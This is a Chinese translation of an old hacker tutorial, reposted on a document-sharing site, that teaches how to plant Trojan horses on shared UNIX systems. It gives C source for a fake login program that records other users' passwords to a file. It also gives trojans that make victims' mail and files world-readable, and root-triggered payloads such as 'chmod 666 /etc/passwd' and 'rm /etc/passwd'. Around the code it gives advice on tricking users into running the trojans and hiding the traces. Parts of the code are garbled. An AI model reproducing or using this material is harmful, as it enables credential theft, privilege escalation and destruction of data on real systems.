《UNIX特洛伊木馬》由會(huì)員分享,可在線閱讀,更多相關(guān)《UNIX特洛伊木馬(5頁珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。
1、UNIX特洛伊木馬
簡(jiǎn)介:
------------
????“UNIX安全”是種矛盾的說法。UNIX系統(tǒng)是很容易就可以用暴力法攻破,因?yàn)榇蠖鄶?shù)UNIX系統(tǒng)并沒有設(shè)置登錄次數(shù)限制,而且還有諸如root、bin、sys、uucp等缺省用戶。一旦進(jìn)入了系統(tǒng),就很容易獲得系統(tǒng)控制權(quán)。如果懂得C語言,你甚至可以使系統(tǒng)為你工作,完全除去系統(tǒng)的安全屏障,建立自已的帳號(hào),讀取別人的文件,等等。這些事情都可以通過本文中簡(jiǎn)單的C語言代碼來實(shí)現(xiàn)。
需求:
------------
????首先,你需要有一個(gè)有效的UNIX系統(tǒng)帳號(hào)。如果該UNIX系統(tǒng)是運(yùn)行在如PDP/11、VAX、Pyram
2、id等機(jī)器上的相對(duì)簡(jiǎn)單的UNIX系統(tǒng)(如4.2bsd或AT&T System V等),則則會(huì)獲得很好的效果。如果你在學(xué)校擁有一個(gè)基于這些系統(tǒng)的帳號(hào),那就再好不過了。
注釋:
-----
????本文的起因是1986年4月刊登的一篇題目為“UNIX安全”的文章。在這篇文章中,作者說到:“我們希望,我們所提供的資料在一定程度上引起人們的興趣和避免UNIX過于容易成為“駭客們的食譜”。因此我們有意省略了某些細(xì)節(jié)?!庇谑俏腋鶕?jù)這篇文章的大綱,按照其中談到的方法,編寫出以下清晰完整的例子。
實(shí)例一:騙取密碼
-----------------------------------
??
3、??只要有一點(diǎn)UNIX和C知識(shí),你會(huì)發(fā)現(xiàn)做到這一點(diǎn)根本不難。但是,你首先必須有權(quán)訪問一臺(tái)許多人都可以使用的計(jì)算機(jī),如學(xué)校中的公用計(jì)算機(jī)。
????當(dāng)?shù)卿浀揭粋€(gè)UNIX系統(tǒng)時(shí),會(huì)出現(xiàn)類似以下內(nèi)容的屏幕:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password:??????(無回顯)
????
????以下程序模擬了一個(gè)登錄過程。你在終端上運(yùn)行該程序后就離開。那些無知的“笨蛋”會(huì)上來輸入他們的帳號(hào)和密碼,這些都會(huì)保存在一個(gè)文件里。然后屏幕顯示“l(fā)ogin incorrect”(登錄錯(cuò)誤),并要求這個(gè)“笨蛋”再次登錄
4、。這一次才是真正的登錄程序,當(dāng)然會(huì)成功登錄了(真是一群“笨蛋”)。
????把以下程序代碼輸入名為“horse.c”的文件中。注意,你需要針對(duì)不同系統(tǒng)的顯示更改程序的前8行。
----- Code Begins Here -----
/* this is what a 'C' comment looks like.??You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n\nTiburon Systems 4.2bsd
5、UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready.??Each \n represents a carriage return.
*/
#define LOGIN??"login: "
/* The above is the login prompt.??You shouldn't have to change it
* unless you're running some strange version
6、 of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt.??You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect."??Change it (0 = almost
* no delay, 5 =
7、LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given.??You shouldn't have to change it.
*/
8、
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically.??'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include
#include
in
9、t stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp
10、= fopen(FILENAME,"a") )??!= NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
????
????OK,正如我所說的,輸入以上代碼,并修改它,使它看起來與真正的登錄過程完全一致。編譯horse.c文件。( % 不必輸入,它只是系統(tǒng)提示符。)
% cc
11、 horse.c -lcurses -ltermcap
% mv a.out horse
????現(xiàn)在你已有了可執(zhí)行文件horse。運(yùn)行它,如果所顯示的內(nèi)容與真正的登錄過程不一樣,便重新編輯horse.c源程序,并重新編譯。在使用木馬程序前,建立名為trap(或者其他名字)的文件,內(nèi)容如下:
horse????????????????????(運(yùn)行木馬程序)
login????????????????????(運(yùn)行系統(tǒng)登錄程序)
????執(zhí)行trap文件:
% source trap????????????(重復(fù):不要輸入 %)
????然后離開終端...
????程序運(yùn)行
12、幾次后,檢查stuff文件(或者你定義的任何文件),其內(nèi)容應(yīng)類似如下:
user john has password secret
user mary has password smegma
etc.
????記錄下這些帳號(hào)和密碼,然后刪除這個(gè)文件。(否則,如果超級(jí)用戶看到這個(gè)文件,你可就危險(xiǎn)了。)
????注:為了取得更好的效果,終端最好設(shè)置為在一定時(shí)間內(nèi)無用戶登錄便退出。這樣,即使無人使用該終端,木馬程序也不會(huì)空運(yùn)行漫長(zhǎng)的14小時(shí)(或更長(zhǎng))了。
-----
????下一個(gè)實(shí)例運(yùn)行在一個(gè)遠(yuǎn)程系統(tǒng)上,如你已成功侵入的諸如Michigan的VAX、Dratmouth的UNIX等
13、系統(tǒng)。然而,它要求UNIX初學(xué)者具有一定的C語言知識(shí)。
實(shí)例二:讀取他人文件
-------------------------------------
????當(dāng)用戶運(yùn)行一個(gè)程序的時(shí)候,他們就是被創(chuàng)建進(jìn)程的擁有者,程序便可以做出任何不超越其權(quán)限的事情,如刪除文件,創(chuàng)建文件,并賦予他人訪問的權(quán)限等。
????當(dāng)用戶在UNIX系統(tǒng)上保存郵件時(shí),郵件被保存在用戶根目錄下的mbox文件中。在缺省情況下,該文件僅能由用戶讀取。下面的小程序可以解鎖運(yùn)行此程序的用戶mbox文件(如使用chmod 777命令,即允許系統(tǒng)中的任意用戶擁有完全訪問權(quán)限):
----- Code Begins
14、Here -----
#include
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
????????sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
????????system(buf);
????????}
}
--
15、--- Code Ends Here -----
????現(xiàn)在,問題是:怎樣才能讓攻擊目標(biāo)運(yùn)行這個(gè)程序呢?
????如果系統(tǒng)有發(fā)布消息的功能(如4.xbsd中的msgs命令),你可以將程序發(fā)布出去。到UNIX WORLD等雜志上找一個(gè)工具或游戲程序,并將以上代碼插入到程序里。例如,你有一個(gè)tic-tac-toe程序,并已將木馬代碼放入tic-tac-toe程序真正運(yùn)行的代碼之前,你便可以發(fā)布“我有一個(gè)新的tic-tac-toe程序,你們可以測(cè)試它,可在我的目錄下找到它?!敝惖南?。你也可以單獨(dú)向你的欺騙目標(biāo)發(fā)出類似的郵件。
????如果你找不到一個(gè)程序可以插入木馬,也可以在以上代碼
16、最后兩個(gè)}間插入以下代碼:
????
printf("Error opening tic-tac-toe data file.??Sorry!\n");
????當(dāng)此程序運(yùn)行,它將顯示以上錯(cuò)誤信息。用戶就會(huì)想:“嗯,這小子連這么簡(jiǎn)單的
tic-tac-toe程序都不會(huì)寫!”但其實(shí)可笑的是他——你現(xiàn)在已經(jīng)可以讀取他的郵件了。
????如果你想讀取某個(gè)用戶目錄下的特定文件(例如“secret”),只要向這個(gè)用戶投寄以下程序:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
????然后與
17、他“交談”或通信,象Joe Loser所說的:“我剛寫了一個(gè)super_star-wars程序,你愿意測(cè)試一下嗎?”
????無論你希望何人運(yùn)行某一命令,都不是一件難事,只要把他放進(jìn)C程序中的system()函數(shù),然后誘騙他運(yùn)行這個(gè)程序!
????下面是利用以上技術(shù)的一些用法:
實(shí)例三:成為超級(jí)用戶
-----------------------------------
????寫一個(gè)讓別人運(yùn)行的程序,插入下面代碼:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
????該代碼檢查root用戶是否
18、在運(yùn)行本程序。如是,你便可以利用他的權(quán)限執(zhí)行你所希望的命令了(只要將whatever you want改為該命令即可)。以下是常用的命令:
"chmod 666 /etc/passwd"
????/etc/passwd是系統(tǒng)密碼文件,只有root用戶可以讀寫,在一般情況下,其他用戶只能讀(密碼是經(jīng)加密的)。如你不清楚其結(jié)構(gòu)格式,可以查看它。上面的命令使你也可以讀寫該文件——如為自己和朋友建立無權(quán)限限制的帳號(hào)。
"chmod 666 /etc/group"
????通過把自己加入某些具有高級(jí)權(quán)限的組,你便可以為所欲為了。
"chmod 666 /usr/lib/uucp/L.sys
19、"
????檢查這個(gè)文件確定這個(gè)系統(tǒng)是否在UUCP(UNIX-UNIX CONNECTION PROTOCOL)網(wǎng)絡(luò)上。此文件包含了訪問網(wǎng)絡(luò)中其他系統(tǒng)的撥號(hào)用戶和密碼,以一般情況下,只有UUCP管理員能讀取它。找到UUCP管理員帳號(hào)并誘使其在不知情的情況下運(yùn)行以上代碼,你便可以讀取它了。
"rm /etc/passwd"
????如果你誘使root用戶運(yùn)行這行代碼,就會(huì)刪除系統(tǒng)密碼文件,此系統(tǒng)將停機(jī),并且不能再次運(yùn)行了。這是具有相當(dāng)破壞力的。
-----
????當(dāng)你準(zhǔn)備向系統(tǒng)放置特洛伊木馬,有幾條規(guī)則應(yīng)該注意。
????如果隱蔽性是主要的,(如侵入用戶郵箱或刪除他的所有文件等
20、,)那么這個(gè)程序不應(yīng)該被過多地執(zhí)行(如一個(gè)流行的電腦游戲)——一旦用戶發(fā)現(xiàn)他們的文件被允許完全訪問,那么他是比較容易找到原因的。為了加強(qiáng)木馬的隱蔽性,程序應(yīng)該表明為“測(cè)試”程序(比如你正在編寫的游戲),并且請(qǐng)求個(gè)別人運(yùn)行它,并與他們“交流”意見(只是為了欺騙他們)。正如我所說的,“測(cè)試”程序在完成其任務(wù)后,可以顯示虛假的錯(cuò)誤消息。你便可以對(duì)他們說:“唉呀,我想我要繼續(xù)修改它?!痹谒麄冸x開后,你便可以讀取已被你解鎖的文件了。
????如果木馬程序的主要目的是捕捉運(yùn)行此程序的特定用戶——如root或其他高級(jí)用戶,你就應(yīng)該把木馬程序代碼放入可被系統(tǒng)中絕大多數(shù)用戶頻繁執(zhí)行的程序里。因?yàn)槟抉R程序在特定用戶運(yùn)行前是隱匿的。
????如果你發(fā)現(xiàn)C語言代碼很難理解,你就必須從PASCAL語言等轉(zhuǎn)變過來并學(xué)會(huì)C語言。這種情況不會(huì)有損C語言作為一種偉大的編程語言。
????以上我們已經(jīng)看到在UNIX系統(tǒng)上怎樣做了。一旦你捕捉到了root用戶(如你可以修/etc/passwd
文件),就要從特洛伊木馬程序中刪除有關(guān)欺騙的代碼,這樣你就永遠(yuǎn)不會(huì)被捉住了